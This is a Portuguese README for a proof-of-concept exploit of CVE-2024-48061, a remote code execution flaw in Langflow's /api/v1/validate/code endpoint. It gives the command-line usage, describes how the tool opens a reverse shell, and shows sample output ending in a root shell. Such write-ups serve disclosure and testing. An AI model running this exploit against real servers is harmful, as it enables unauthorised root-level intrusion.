CVE-2024-48061 Langflow vulnerável à execução remota de código

PoC do CVE-2024-48061

Uso

python3 poc.py -i <web_ip> -p <web_port> -l <listener_ip> -lp <listener_port>

Descrição

Este script explora um endpoint de API vulnerável em /api/v1/validate/code no servidor web alvo. Ele primeiro verifica a presença do caminho vulnerável, depois inicia um ouvinte TCP no IP e porta do ouvinte especificados. Assim que o ouvinte estiver pronto, ele envia um payload especialmente criado para o alvo para gerar uma reverse shell que se conecta de volta ao ouvinte.

Exemplo

• Tentativa bem-sucedida

python3 poc3.py -i 192.168.0.2 -p 7860 -l 192.168.0.3 -lp 4444
[+] Vulnerability detected at http://192.168.0.2:7860/api/v1/validate/code
[+] Listening on 192.168.0.3:4444 ...
[+] Sending payload to http://192.168.0.2:7860/api/v1/validate/code
[+] Connection from 192.168.0.2:60440
# whoami
whoami
root
# exit
[*] Exiting shell.

• Tentativa malsucedida

python3 poc3.py -i 192.168.0.2 -p 7860 -l 192.168.0.3 -lp 4444
[-] Doesn't look vulnerable